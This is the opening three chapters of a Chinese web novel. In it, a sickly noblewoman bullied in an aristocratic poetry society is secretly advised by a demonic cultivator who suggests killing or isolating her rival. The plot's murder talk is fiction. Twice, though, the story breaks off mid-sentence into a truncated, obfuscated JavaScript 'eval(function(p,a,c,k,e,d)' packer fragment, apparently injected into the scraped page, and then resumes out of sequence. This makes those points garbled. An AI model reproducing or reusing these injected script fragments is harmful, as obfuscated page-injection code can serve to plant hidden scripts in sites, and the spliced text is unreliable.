《和邪恶男修私奔了》 1. 第一章 二月二,花朝节,阴雨绵绵,潇湘诗社在昌平公主府举办花朝诗会。 按照诗社惯例,在诗会正式开始前,社员们都会聚集在半山亭中小叙一番。 崔妙微来得晚,半山亭及其连接的几条长廊中都已经坐满了人。引路的侍女带着崔妙微在众人的瞩目中穿过拥挤的长廊,来到了亭中唯一的空位前,“这是大娘子特意为郡主留的席位。” 侍女口中的大娘子正是崔妙微的继姐骆初静,骆初静两年前当选了潇湘诗社的社长,在诗社中向来对崔妙微十分关照。 而按照诗社中不成文的规定,席位离半山亭越近,在社中的地位便越高,亭中的席位自然就是最好的。 崔妙微略一打量,就见席位旁坐的都是诗社中的风云人物,也是最爱笑闹的几位女郎,想来是骆初静恐她不合群受冷落,这才安排了几人活跃气氛,可是…… 果然,亭中女郎们原本三两的围在一起闲话,见侍女将崔妙微引过来,领头的女郎登时不说话了,身旁的女郎们看她脸色,都紧随其后,默契端起茶杯饮茶,原本喧闹的亭中一时竟然有些安静了,只剩崔妙微尴尬地立在亭中,看着女郎们互相使眼色。 侍女十分为难,只能对崔妙微委婉道:“郡主若是觉着这处不好,可换到长廊中去,也松散些。” 崔妙微则悄悄打量了领头的女郎一眼,女郎是赵明府的三女儿赵贞,人称赵三娘,家世出众样貌美丽,又颇有才华,因而在诗社中拥趸者甚多,是亭中这群女郎的主心骨……也是崔妙微今日来赴会的主要目的。 崔妙微去年年末大病一场,连着缺席了好几个月的诗会,本计划修养到下个月,今日顶着初春冷冽的寒风来到半山亭,就是因为赵贞。 或者说,是因为那个邪修预言了赵贞会在今日的诗会上陷害崔妙微,崔妙微的命运会因此一路悲惨,众叛亲离。 邪修为改变崔妙微的命运而来,崔妙微如果不想让邪修‘帮忙’,造成无法挽回的后果,就必须证明自己可以阻止赵贞,有改变命运的能力,否则……崔妙微抿了抿唇。 按照以往,崔妙微绝对会识趣地换个偏僻些的席位,现下犹豫一会,还是对侍女笑道:“不麻烦你专门为我换席位了,我坐在这里就行。” 侍女有些惊讶,但还是顶着女郎们不满的目光,请崔妙微入席在赵贞身侧。 崔妙微知道大家都不喜欢她,入席以后便安静地垂下头。 可赵贞还是立刻放下茶杯,冷哼一声。 亭中众人也开始互相使眼色,拿眼角打量着崔妙微,小声地议论她的模样和打扮。 不同于时人推崇的气血丰盈明媚张扬,崔妙微高挑瘦弱样貌秀美,面色苍白又不施粉黛遮掩,衣着也素雅,亭外的冷风一吹,衣摆飘飘,看起来弱不禁风,眼下两抹青黛甚至显出了几分郁气,在花团锦簇丰腴婀娜的女郎中显得格格不入。 赵贞瞥了一眼,又见侍女对她关切照应,只觉得怎么看怎么不顺眼,故意扬声对一旁的刘二娘道:“看某个五独之人,明明是个会克人的灾星,克死了奉珠,还装出一幅善良体贴弱不禁风的模样,好体贴下人,倒是显得我们刻薄了……明明是她的‘专座’不在这,偏要挤进来的……” 刘二娘素来与赵贞亲近,立刻心领神会,笑道:“怪不得虽是公主的亲女儿,公主都不喜欢她,只喜欢骆社长呢。” “说到这……”刘二娘忽然左右看了看,似乎十分疑惑,“她的‘专座’在哪呢?” 亭中的女郎们也故意起哄,跟着四处张望起来。 赵贞垂眼一笑,用帕子捂了捂嘴,往长廊外一指,众人配合地跟着看过去,只见一套诗社中用来写字的藤制桌椅孤零零地放在庭院中,正被雨水浇打着,显眼极了。 赵贞生的明艳,笑起来甚至有些俏皮,“就在那啊,怎么,你们也眼神不好啊?” 女郎们顿时哄笑起来,“怎么回事,避雨阵怎么破了个洞?” 公主府四处都是驱雨阵,因此今日虽是疾风骤雨,但庭院中除了那张藤椅处的驱雨阵被打开,其余的地方雨水都被驱开,亭中只有冷风穿梭。 刺耳的笑声过后,便是三两地对着‘专座’窃窃私语,偶尔故意扬声说给崔妙微听。 “五独之人只要对人不满就会克到这个人,贞娘,一会诗赛可小心一些,免得又赢了她,她不仅不肯受罚,还要装病,再偷偷记恨你,暗中克你……” 亭中的冷风都夹杂着湿气,崔妙微忍住了打寒颤的冲动,默不作声地低头听着,闻言把脑袋垂得更低了。 数月前的诗赛上,没有一个人给崔妙微的诗投签,崔妙微输给了赵贞的长姐赵奉珠,赵奉珠作为胜者,按照诗社以往的规则,有权利制定惩罚,便让侍女们将崔妙微的桌椅搬到了庭院中,以后只要崔妙微在诗社中写诗,都必须坐到这个‘专座’上。 崔妙微如约受罚,只是她本就体弱,那日下大雨,她虽撑伞,依旧浑身湿透了,诗会结束以后便大病一场,修养至今。 赵奉珠等人却认为崔妙微是故意称病缺席,怀疑崔妙微因此暗中记恨上了她们。 不巧的是赵奉珠两个月前在玉虚观被邪修偷魂,这本不算什么罕事,只要七日内找方士招魂便可回魂,奇怪的是,赵奉珠却被误诊为脑伤,耽误了病情,硬生生拖了七日香消玉殒了。 此事在洛阳引起了轩然大波,虽至今还未结案,赵贞也无证据,但她笃定是崔妙微这个灾星克了赵奉珠,这才让赵奉珠倒了大霉,耽误了病情。 诗社虽明令禁止传播谣言,但崔妙微本就不受欢迎,又有赵贞带头,私下里流言蜚语却愈演愈烈。 这一切崔妙微早已习惯,知道此刻沉默就是最好的回应,她低着头安静地听着,仿佛说的不是自己。 果然,见她毫无反应,众人只觉得无趣,赵贞也只冷冷瞥她一眼,开始聊起别的事。 有人道:“今年不知道为什么,许多水果都没得吃了,我冬天都惯吃葡萄,今年却到处都收不着……” 女郎们附和起来,今年实在奇怪,往年每天都可以吃到新鲜的瓜果,今年是越来越少。 众人聊了几句,对这些农桑之事到底不怎么关注,又转回到赵奉珠的事上,有个女郎就惆怅道:“听说那个邪修还没被抓住呢,我家中都不许我独自出城了……” 时人崇尚求仙,对方士之流有多么狂热追捧,对邪修就有多么极端的排斥恐惧。 “不仅抓不到,我阿兄说这个邪修该有大道行在身,这都快三个月了,洛阳城那么多方士,愣是连他的踪迹都寻不到,今年雨水多,可能就是邪修为了隐藏踪迹,在背后纵雨,若不是社长开诗会,为了陪伴贞娘,我是万万不会出门的……” “邪修都残暴无端,有的连个人样都没有了,爱在山中隐居,要我说,不该在城中查,该查查最近有没有哪里有人失踪,兴许……” 邪修想要修炼,需要人的血肉和灵魂,前几年洛阳有个轰动全城的案子,一个书生屠虐生食了全家,连灵魂都榨干了,引来百十个军士围堵,他边杀边吃,当场入道逃之夭夭,至今也未被抓到。 女郎们说着,打了个寒颤,连忙让侍女奉个香坛过来,一人给仙人点了一炷香,这才心安,“咱们还是别讲这些了……点了香,仙人庇佑,感觉身上都暖和许多了,邪修肯定不敢靠近我们……” “我家今年的香火钱都翻了倍……” 长廊中摆放着十来个香火炉,女郎们都默不作声地上了香,十几柱香烟升起像是迷雾一般缭绕在庭院中。 崔妙微安静地垂着头,听到她们议论邪修的恐怖之处,不由自主地想到了那个邪修曾说过的话。 邪修先分析了崔妙微的命运,然后指出赵贞的陷害是推动她命运的重要一环,是一件最好直接规避掉的事情,“与其选择充满不确定性的应对,不如提前预防,在诗会之前直接除掉赵贞。” 除掉……怎么除掉? 邪修那种理智而镇静的语气,让崔妙微每每想起都忍不住打个寒颤,她知道自己不能再拖了,她必须证明自己有能力处理这件事。< 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崔妙微脸颊微微发烫,还是弯起唇角撑出一张笑脸,慢慢地转回了头,故作自然地看向长廊外,仿佛沉浸在了远处的雨景中,未曾察觉到方才的难堪。 崔妙微早就料到了赵贞不会轻易就相信她的话,此番情景也不是没有预料到,只是她不能不试……难不成还真的要像那个邪修说的那样……想办法谋杀赵贞吗? 很快到了吃茶的时辰,侍女们端着热茶与点心,切了各色瓜果,悄无声息地穿行在长廊中,有女郎说亭中闷燥,侍女便关上驱雨阵,任由雨水洒下来,细雨洒在廊檐,声音细密舒缓,崔妙微垂着眼睛,安静地听着,默默地消化方才的难堪,思索着除了坐‘专座’,还能怎么样才能与赵贞和解。 想的正专注时,耳边却突然响起一个声音,“赵贞一向都这么欺负你吗?” 这是个男人的声音,年轻,低沉,语气自然关切地像是朋友间的问候,却让崔妙微立刻忘记了方才的难堪,紧张地握了握拳头。 崔妙微快速地左右看了看,见除她以外无人察觉到这个声音,这才松了口气,接着便尽量自然地端起茶杯,以饮茶做掩饰,小声道:“不是欺负,只是一些误会罢了,只要我在今日诗会好好表现,自然就能与赵贞握手言和了。” 崔妙微说完,紧张地攥紧了手心,心惊胆战地等着男人的回复。 洛阳城中,在崔妙微看不到的一间内室里,与她对话的男人本来专注地描绘着桌上的黄色符纸,只偶尔分神听听崔妙微这边的动静,闻言立刻停了笔。 男人忍着没有出言嘲讽,先把手中的符咒画完,再把羽毛笔擦干净,放在了笔匣中,这才在崔妙微的忐忑不安中道:“恕我直言,现在的状况已经非常清晰了,你与赵贞积怨已深,想几句话就和她化敌为友,几乎是不可能的。你不愿意杀她,学习她对待你的方式,先孤立她也不愿意吗?” 男人不再分心画符,他靠在椅背上,双手交握在身前,专注地为她分析眼前的状况,“这应该也不难,先联合她朋友中存在感低的人,比如那个刘二娘,她平常是不是也很爱出头?在赵贞的朋友中地位应该不高,听起来也比较冲动,喜欢表现自己,从她入手会简单很多。” “赵贞攻击你会克人,她自己不是生来就有六指吗,你也可以从这方面试试。” 男人的语气正经的仿佛只是师长在指导学生学问,而不是一个陌生的男人在背后鼓动一个女郎操控社交关系排挤孤立别人。 崔妙微忍不住闭了闭眼睛……她是绝不该与这种人有交集的,可现在不仅有了,她还不得不仔细思考该如何在拒绝的同时还不触怒他。 男人的声音是三日前的傍晚突然出现在崔妙微的耳边的,他自称是个修士,却不报道号,反而透露出姓名‘施令岐’。崔妙微不知具体是哪三个字,更不敢细问,和他交谈时都称呼他道长。 崔妙微对他知之甚少,唯一能确定的是……他是个邪修。 2. 第二章 本朝对于术法管控极严,只允许修士在规定的道观学习术法,而且提供的术法种类寥寥无几,大多都是有惠于民生农桑的,比如为百姓招魂的招魂术,观测天气的勘天术等等。 普通的邪修也都是修炼一些耳熟能详的禁术,如偷魂术,点石成金术…… 施令岐这种能在二人间千里传音的术法,崔妙微闻所未闻,必然是禁术,正经道观绝不会教,而修炼禁术的修士必然是邪修。 盖因施展术法需要灵气,可如今世上早已没有灵气了,正道修士甚至不被允许引气入体,只要学会了利用灵玉中的灵气施展术法就算入道了,只是灵玉不可再造,都是从前传下来的,数量极少,还受朝廷管控,因此修士有机会学会两三个术法已经算不错了。 而邪修想要入道,又没有灵玉,就只能以唯一有灵气的活人的灵魂与血肉修炼,与正道修士入道不同的是,邪修追求像曾经的仙人一样,将灵气引入体内修炼己身,认为这才是真正的入道,且一旦入道,对血肉与灵魂的渴望就永无止境。 如此灭绝人性的修炼方式,导致邪修大多行事癫狂离群索居,为了修炼不择手段无恶不作,有些违背人伦的恶行堪称恐怖。 比如刚才女郎们提到的,为了有灵气修炼偷魂术,书生就屠虐生食了全家,而偷魂术还只是邪修的入门术而已,越是强大的禁术,需要的灵气就越多,修炼的方式就越疯狂。 施令岐云淡风轻地在崔妙微耳边说第一句话的时候,崔妙微就知道他一定是个穷凶极恶、丧心病狂的邪修,他本人对此也毫不掩饰。 三日前,施令岐方才出现时,崔妙微惊慌失措,施令岐三言两语便稳住了她,他并不咄咄逼人,甚至还给了崔妙微一些时间让她冷静,以免引发不必要的麻烦,等她情绪稳定,便指使她驱走身边的下人,紧闭门窗。 接着他开始询问崔妙微的年龄、人际关系……语气自然得仿佛回答他的问题是理所应当的,崔妙微也确实不敢不回应,就这样交谈了几句后,他忽然道:“在屋顶偷听的是你的人吗?” 屋顶有人? 崔妙微本来就又惊又怕,只是勉强稳住心神应对,闻言顿感茫然,只能惶恐道:“我最近生病了,院中人是多一些,可我已经听道长的,把院中的下人都支走了。” 更何况崔妙微院中的都是手无缚鸡之力的女子,没有谁能悄无声息地爬上屋顶。 崔妙微如实回答,那道声音却不再回应,她登时战战兢兢起来,难道他不相信自己?他会觉得是自己不安分,然后一怒之下杀掉她吗? 时间就在崔妙微草木皆兵的等待中过去了,她甚至以为这只是她过于恐惧产生的幻想时,施令岐回来了,“别紧张,我只是问问而已,既然不是你的人,那就是跟着我来的,所以我刚才去确认了一下。” 接着,他就用仿佛要处理什么野物一样平常的语气道:“稍等,我需要一点时间处理。” 说罢,施令岐就不再说话了,屋内又陷入了那股令人窒息的沉默中。 崔妙微拒绝去想他要‘处理’什么,怎么‘处理’? 可没一会,施令岐忽然在她耳边说了一句,“别出声,很快就会好。” 崔妙微还没反应过来,就听到了头顶传来一道玉石般的蜂鸣声,然后闻到了一股让她浑身发毛的血腥味,她来不及四处查看,几乎是在闻到味道的刹那间,终于发现了一些异常——有个重物被打了下来。 伴随着瓦片碎裂的声音,下一刻,便直直坠在了崔妙微面前。 似乎摔断了骨头,它蠕动了几下,便不再动弹了。 崔妙微呆坐着,一句话也说不出来。 这是个人,却又不太像人,衣不蔽体,头发杂乱盖住脸庞,身材怪异,四肢干瘦细长的渗人,皮肤像新生疤痕般的肉红色,身高几乎超过八尺,简直像一具有一层皮的骷髅。 紧接着,它那双泛着兽性的眼睛慢慢盯上了崔妙微,像盯住了猎物,弓着身子猛地嘶吼了一声。 崔妙微被它的嘶吼声震得双耳剧痛,还没来得及害怕,下一刻,这个怪物就像是被人从腰部隔空‘折叠’了一下,一股腥臭的黑色液体就从它干瘦的身体中溅射出来,直直地洒在了崔妙微的脸上,一股浓厚的怪异腥味涌入鼻腔。 崔妙微强忍着没有尖叫出来,她逼自己忽略身上湿热的感觉,眼睁睁地看着那个怪物被一点点地叠起来了。 伴随着令人牙酸的咯吱声,莫名地让她想起了侍女收拾冬衣……也是这样一点点折起来,然后收进柜子里。 屋子里安静极了,只有这一阵阵诡异的挤压发出来的咯吱声,直到‘折叠’完毕,怪物也彻底安静,崔妙微已经吓傻了,施令岐才开始说话。 他的声音很冷静,甚至一边收尾一边安抚崔妙微,“你没有叫出声,这很好,不会有任何麻烦的,别害怕……溅到你身上了吗?” 崔妙微满身血污,双耳空鸣,勉强辨别出了他的意思,连尖叫都不敢,僵硬地摇了摇头,意识到他听不到,才干哑着嗓音说了一句没有。 施令岐把邪修的尸体压缩到最小,确认是可以隔空处理的尺寸,边道:“嗯,那就好,剩下的我会处理好的……你不是生病了吗?把门窗打开透透气吧,邪修的味道都很难闻。” 崔妙微战战兢兢地起身,将门窗都打开了。 接着,她便看着施令岐隔空快速地清理掉了现场,连带着满屋子的黑色血迹,她满头满脸的血污,都以一种奇异的方式彻底地消失在空气中。 崔妙微很少有出门的机会,对求仙就同大多数人一般有本能的向往,因此私下找了很多与求仙有关的书来看,她自然也看过关于邪修的描写。 邪修吞吃人的血肉和灵魂修炼被称作采生,他们采生后常常独自隐居在人迹罕见之处消化,被称作静修,‘饥饿’时便出来采生,‘餍足’后便静修消化,这就是邪修的修炼方式。 邪修的功力越高,对灵气的需求就越大,吸收的灵气越多,就越脱离人形,到后期百人的灵魂与血肉都满足不了一次静修的需求,邪修也几乎看不出人样。 这个邪修已经没有人形,很显然道行不浅,崔妙微事后悄悄摸了摸自己的耳朵,她两只耳朵都因为那个邪修的一声嘶吼就流了血,一两天内都不如以往灵敏,这样的邪修,施令岐隔空就能捏死?像处理垃圾一样处理掉,那施令岐又会是什么模样呢?他方才处理那个邪修,也是一种采生的方式吗? 不到半柱香的功夫,那个看不清面容的似人非人的生物就仿佛没有存在过,连血腥味都消散了,只有一股难以言喻的怪味弥留在空气中。 崔妙微一直呆坐着,直到施令岐出声才让她回神。 施令岐似乎已经把邪修处理干净了,于是开始掩盖剩下的痕迹,他显然十分谨慎且细心,知道崔妙微没有心情注意到别的事情,便指导她在屋中容易藏污纳垢的地方查看一圈,确认没有遗漏的血污后,便道:“屋顶是不是有洞,大不大?” 崔妙微一怔,下意识抬起了头,这才注意到屋顶的洞,“不是很大……”但是绝对会被侍女注意到的。 崔妙微一下就慌了起来,她站起身,不知该怎么办才好。被人发现了怎么办?大家会发现她和邪修有牵扯吗? 施令岐似乎察觉到了她的情绪,让她别紧张,用一种镇定且平稳的语气道:“不是很大的话,就这样……这两日常有大雁迁徙,你可以告诉院中侍女,有孤雁掉到你的屋顶上了,你救了它,它踉踉跄跄地飞走了。” “有谁不信,你再告诉我,我来解决。” 事后施令岐解释此邪修可能是数次采生都不够一次静修,因此孤注一掷用秘法打探到了他的踪迹,进而找上了崔妙微。 崔妙微不知道自己该不该相信他的话,也许他说的是真的,也许这就是他故意设计的下马威,以此恐吓她? 崔妙微心中还有更大的恐惧,这意味着施令岐就在她的身边?或者一个离她很近的地方? 她又忍不住想,施令岐又为什么要找上她呢?是想要采生五独之人吗? 古时确实有很多修士凭借斩杀五独之人原地飞升。 可施令岐都能隔空捏死这个邪修,捏死崔妙微就更简单了,为何还要这么迂回呢? 崔妙微本来不想回应施令岐,此事以后便不敢不回应,而回应一句,不知不觉中,就不停地回应下去了。 最让崔妙微感到恐惧的是,也许是施令岐过于的冷静和理智,在他毫不掩饰自己的残暴以后,他却矛盾地给人一种可靠和值得信赖的感觉。 他声称崔妙微未来命运悲惨,昌平公主会把她赶出家门,青梅竹马的未婚夫会弃她另娶,她在绝望之下性情大变,甚至杀害了一个无辜的人。 此人付出巨额酬劳,委托施令岐改变崔妙微的命运。 一切的起因都是今日被赵贞陷害,从此崔妙微的命运便走向了失控。 为使崔妙微相信命运是真的,施令岐提前‘预言’了一件事,在昨日成真了。 施令岐观察细微,善于挑弄人心,迅速察觉到了崔妙微被排挤、不受重视的处境,声称只要崔妙微听他的,不仅可以改变原本众叛亲离的命运,还可以让所有人都喜欢她。 施令岐让崔妙微做的第一件事,就是听从他的指使,策划如何神不知鬼不觉地提前杀了赵贞。 虽有‘预言’成真在前,崔妙微对施令岐口中的命运依旧半信半疑,如果她真的在预言中杀了某个人,为什么施令岐不直接杀了她呢? 况且,崔妙微是绝不会做坏事的……她只能满心恐惧地拒绝了。 崔妙微本以为施令岐会施展某种邪术来惩罚她,像采生那个邪修一般采生她,或者直接操控她,甚至用更加丧心病狂的术法来折磨她……她知道他肯定有。 可施令岐反而没有强迫崔妙微一定要听他的,他先是问了崔妙微为什么要拒绝。 崔妙微没想到他会问这个,十分错愕,思索许久才道:“我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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反之,崔妙微如果没能阻止赵贞,从此便要对施令岐言听计从,直到彻底改变命运。 言听计从……施令岐让她做坏事,她也得照做…… 崔妙微不敢拒绝,更不敢答应,她想了很久,只能挣扎道:“你为什么要帮我改变命运……而不是直接杀了我?” 崔妙微说完,便开始紧张地等待回复,可过了好一会都没有动静,她本以为施令岐不会回答她了,或者自己的问题惹恼他了,施令岐却又忽然出声了,“我刚才在整理行礼,如果你没成功,为了挽回局势,我可能需要用到很多东西……” 千里之外的长安,施令岐正半跪在地上清点法器,他确实在整理行李,和崔妙微短暂地交谈了这一会,确认她不会心甘情愿地配合自己除掉赵贞以后,他立刻调整了计划,在原本准备的法器中多加了几件,符咒也预计在三天内翻倍备好。 至于为什么不直接杀了崔妙微,他想了想,道:“从仙人留下的典籍来看,预言出来的命运可以改变过程,但很难改变结尾,预言中那个人命运的结尾就是被你杀掉,不管你是怎么杀的,都代表那个人死在你前面,我如果杀了你,按照命运的逻辑,那个人也会死,所以我想试试能不能通过改变你的命运,进而改变那个人的命运。” 接着,施令岐看着箱子里整理出来的法器,沉吟一会,“你不用试探我会不会杀你。” 明明是狂妄的话,他说出来却显得理所应当,“如果没有特殊情况,不会的。因为我会帮你改变命运,如果我也做不到,那就是命运大概真的无法改变,那么那个人的命运也改变不了,杀你没有意义。” 崔妙微一时不知该哭还是该笑,什么算特殊情况呢?她不想听施令岐的话,算吗? 崔妙微沉默了许久,想说自己可以发誓她绝对不会杀人的,也不需要施令岐的帮助,可到最后,她也只是轻声道:“那为什么不直接强迫我服从你呢?还要让我自己先试试?” 施令岐很轻地挑了一下眉,慢慢把装法器的箱子合上,想了想,坦诚道:“你坚定这种可以用‘爱’来感化赵贞的信念,我强迫你也是白费劲,你很难完全配合。” 施令岐和崔妙微只交谈了这一会,就大概了解了崔妙微的性格和处境,他不想浪费时间评价什么,但他迅速认清了事实,在确定局势还可以控制的情况下,立刻便决定先给崔妙微一个尝试的机会,以免她心有不甘不愿配合,导致事情失控。 崔妙微成功了,皆大欢喜,失败了,也还有挽回的余地。 崔妙微每每想到这里,都心情沉重,但她不愿自己沉浸在这种情绪中,选择立刻从回忆中抽身出来,此刻也是,她还忍不住看了远处正在笑闹的赵贞一眼。 在施令岐预言的命运中,赵贞会在今日装作失魂,陷害是崔妙微这个五独之人克了她,崔妙微会被认定为故意克害人的恶种,被公主厌弃而赶出公主府。 这也是她悲惨命运的开端。 沉思一会,崔妙微忽然反应过来,自己还没有回复施令岐呢,她连忙端起茶杯,借着品茶轻声回复,“道长,谢谢你的提议,孤立赵贞,还利用她生来六指……我觉得这样做也不太好,赵贞也不是故意的,她只是误会了我,我只要好好表现,让赵贞知道我没有坏心,不会克害赵奉珠,自然就解开误会了。” 崔妙微不知想到了什么,顿了顿才继续道:“以往也有这样的事,我都是这样解决的。” 3. 第三章 “你觉得孤立赵贞不好?”施令岐忍着没有说一些刻薄的话。 他不喜欢一直分心,好在这几日已经将预计的符咒画完,闻言干脆把符纸也收了起来,依靠在椅背上,专注地与崔妙微交谈,“诗赛的时候,赵奉珠与赵贞沆瀣一气,故意让社员们都不选你,明明胜之不武,还挪你的席位羞辱你,你现在还要放低姿态获得赵贞的理解。你真的没有在心里讨厌她们吗?” 崔妙微下意识眨了眨眼睛,“我是不会讨厌任何人的……” 施令岐抿了一下唇角,克制自己不要对此评价什么,只道:“坦诚地说,我对你的计划持消极的态度,你和赵贞握手言和的概率非常低,在预言中你甚至被赶出了公主府,说明赵贞的‘失魂’非常真实,真实到昌平公主不得不顾及众人的想法,将你赶出公主府的地步。而‘失魂’想要真实,我这几天也做了很多实验,大概率是通过吃药的方式来改变体表特征,从而造成失魂的假象,赵贞想要实现这样的效果,只能找修士帮她配药,代价极大,凭什么简简单单和你握手言和?” “还有。”施令岐顿了顿,道:“说到这,我有个问题还要再问你一遍,赵奉珠的死真的和你没有任何关系?她不是你杀的?赵贞只是因为一个怀疑,就要大费周章地陷害你?” 崔妙微愣了愣,不明白怎么突然扯到赵奉珠身上了,她对此十分敏感,下意识想要反驳,但又不敢,想了想,只能小心道:“道长也觉得我是装善良,其实悄悄克害了赵奉珠吗?只因为我是五独之人?” 施令岐直白道:“你不用和我打太极,以此试探我对你的看法。” 崔妙微一怔,一时说不出话来,心中隐隐有些难堪……她确实在试探施令岐对她的看法。 身为五独之人,试探别人对她的看法已经成了一种本能了。 施令岐靠在椅背上,看了看窗外,语气因为冷静而显得很有距离感,他坦诚道:“我只是想知道你和赵贞之间有没有别的恩怨……你要搞清楚一件事,我对你善不善良,有没有害人,没有任何兴趣,这也不会影响我和你的关系,我的目的就是让你改变命运,我们的利益是一致的,所以现在我愿意给你机会让你自己尝试,你成功了我也省事,但我对此表示怀疑,所以我需要你对我保持坦诚,让我知道事情的全貌,以免你计划失败,最后陷入无法挽回的窘境。” 崔妙微垂着头,忍不住咬了咬唇。 “换句话说,如果没有别的恩怨,你真的杀了她,不管是什么原因,你是买凶还是暗害,事情已经发生了,就老实告诉我,我需要时间善后。” 善后? 崔妙微怔了好一会,品出施令岐语气中暗含的意味,莫名有些胆寒,她迅速从那种被人看穿的羞耻情绪中脱离出来,无意识地转着手里的茶杯,语速也变快,“我真的不会做任何坏事的,我没有克赵奉珠,更没有暗害她……我不讨厌她,也不讨厌赵贞……预言中说我杀了人,应该也有隐情……赵贞会陷害我,只是因为她误会我心有恶念,克害了赵奉珠,她对赵奉珠的感情又很深,赵奉珠离世,她打击太大了……” 说完,崔妙微抿着唇,捧着茶杯等着回复,施令岐却不再说话了。 崔妙微慢慢把茶杯放在小案上,疲惫地靠在椅背上,她搞不明白施令岐到底有没有相信自己,施令岐能听到她身边的动静,她却只能在施令岐主动说话的时候才能听到他的声音,因此只要他沉默,崔妙微就无法打探到任何的消息。 安静许久,崔妙微有些无奈地看向长廊外细密的雨丝。她不明白自己为什么总是这么倒霉,有些人一辈子都遇不到一次邪修,她这个最不能和邪修有关联的人却遇到了施令岐……只希望等她解决完与赵贞的误会,施令岐就会遵守约定离开。 崔妙微又下意识看了看赵贞等人,侍女劝慰半晌,赵贞等人还是不肯归位,还将杯中的热茶浇到了侍女的鞋上,侍女泪欲盈眶,也不敢找崔妙微这个‘五独之人’,只能脸色彷徨地站在亭中。 比起难堪,崔妙微此刻更多的是疲惫,她不忍为难侍女,只能主动起身对侍女笑道:“这边风有些大,我受不住寒,在那边背风处置个案桌,我到那里坐吧。” 侍女如蒙大赦,悄悄揩去泪水,连忙将崔妙微安置在了长廊里。就近的席位已经没有了,也无人愿意挪动挤一挤,最后只剩一个偏僻的角落。 崔妙微方才出亭,赵贞等人就若无其事地坐了回去,亭中的氛围也慢慢恢复如常,只有几个女郎时不时悄悄地打量崔妙微。 雨越下越大,崔妙微在角落独座,反而自在许多,她给自己斟了杯热茶,再次看着廊外的雨幕沉思起来。 赵奉珠的死确实疑点重重。数月前,赵奉珠在玉虚观上香时被邪修偷魂,与她一齐被偷魂的有好几个平民女子,独独赵奉珠被误诊了病情,生生错过了招魂的机会,香消玉殒了。 此事在洛阳城轰动一时,邪修早已逃之夭夭,洛阳府苦查无果,找不到邪修的踪迹,也查不出赵奉珠为何会被误诊,因而上报到了河南府请求彻查,到如今也未结案。 崔妙微极少出门,但看诗社中赵贞声讨她时一呼百应,便知道外界肯定也流言纷飞,一个小小的失魂,竟然让堂堂明府之女丢了性命,怀疑到崔妙微身上很正常,崔妙微自己都觉得其中定有隐情,可她确实没有克害赵奉珠。 施令岐忽然出现时,崔妙微甚至偷偷怀疑过他,可他如果真的是那个杀害赵奉珠的人,也不会屡次询问她赵奉珠的事了。 放在以往,崔妙微会躲起来等事情平息,她早就习惯被这种流言蜚语围绕了,知道时间久了,人们就会淡忘,可现在…… 崔妙微想的入神,肩膀忽然被人轻轻一拍,吓了一跳,转头见是骆初静,这才松了口气。 崔妙微下意识往亭中看了看,就见众人都不在了,应该是去了正式开诗会的地方,她想的太专注,竟然没注意到。 骆初静不知为何脸色不虞,看着气的不轻,勉强对崔妙微笑了笑,道:“赵贞去哪了?” 崔妙微不明所以,但见她急切,还是道:“诗会要开始了,大家应该都是去廊中亭了。” 骆初静点了点头,脸色却还是不太好看,似乎在忍着气,“那你也赶紧去吧。” 说罢便行色匆匆地要离开,崔妙微犹豫一会,拉住了她,道:“长姐找她做什么?” 骆初静停下脚步,看她的目光中带着怜惜,压抑怒气道:“侍女方才都告诉我了,赵三娘在亭中造谣是你克死了赵二娘……实在是无法无天,今日我一定要好好教训她!” 骆初静个子不高,样貌端正清秀,还有股清正的气质,让她与旁人不同,她虽是养女,却深受公主宠爱,崔妙微是亲女,公主待她反而十分疏远,但二人并未因此而心生嫌隙,骆初静素来对崔妙微都很关照。 崔妙微自然不能让骆初静去教训赵贞,心想还好多问了一句,连忙拉住她的手,“长姐,一点闲话而已,我不会放在心上的,我毕竟是五独之人,赵贞疑心我也很正常,不要为此伤了诗社的和气。” 崔妙微说的也是真心话,潇湘诗社几乎都是贵女,人际关系复杂,骆初静能平衡好各方关系,和谁都处得好,不是易事,实在不必为了自己坏了事。 骆初静叹了口气,温柔地注视着崔妙微,“我就知道你不会计较,只是赵贞这次实在过分,你不计较是一回事,可我不能让她坏了诗社的风气,她本性不坏,就是爱拉帮结派,把几个新社员都要带坏了,这次我一定要教训教训她了。” 骆初静不等崔妙微反驳,拍拍她的手,立刻就追着去找赵贞了。 崔妙微只好跟着要拦,骆初静却转头冲她用力地摆摆手,连走带跑,气势汹汹,很快便消失在了长廊尽头。 崔妙微无奈极了,额上都急出了汗,骆初静有些拳脚功夫在身,她根本追不上,只能从长廊的另一面转过去,想要抄近路堵住骆初静,可她身体不好,没跑一会就喘的不行,被施令岐叫停了。 崔妙微体虚,疾跑一阵,停下来就面白如纸双腿发软,只能扶着一旁的围栏直喘气,边道:“怎么了?我得赶紧拦住长姐才是。” 施令岐没有急着说话,让崔妙微就近休息,崔妙微心中着急,又不敢不从,硬生生停了脚步。 施令岐等她平复了呼吸才道:“骆初静如果真想教训赵贞,你现在拦住了,她三言两语打发掉你,转头一样会找机会教训赵贞的。” 崔妙微找了根低矮的围栏坐着,心中也觉得有道理,她疲惫地垂下了头,忍不住为难起来……骆初静大公无私是出了名的,还常常为诗社中的平民女子出头……实在是难办。 崔妙微更觉得奇怪的是,这和施令岐又有什么关系呢?施令岐应该希望崔妙微失败才是的。 况且,这几日施令岐如非必要,其实很少和她传音,他虽声称来帮助崔妙微,但其实有种事不关己的距离感。崔妙微常常幻想他会在暗中冷冷旁观她吃瘪时的狼狈模样。 施令岐道:“你觉得骆初静真的会教训赵贞吗?” 崔妙微一时没领会他的意思,疑惑地皱了皱眉。 施令岐看了看窗外的雨幕,像是在随口闲聊一般,“也许她只是说说而已。” “不会的。”崔妙微摸不透他要干什么,迟疑了一会,用帕子擦了额上的冷汗,轻声道:“长姐是个很正直的人,她说教训赵贞,就一定会教训赵贞的。” “这样啊……”施令岐沉吟一会,接着道:“既然如此,要不要再和我打个赌?” 崔妙微怔了怔,又打赌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施令岐的话仿佛都有他的道理,就像是一个正直友善的青年为崔妙微提供人生建议,让崔妙微都情不自禁地想要点点头,可他并不真的是一个正直友善的青年……他是个邪修啊。 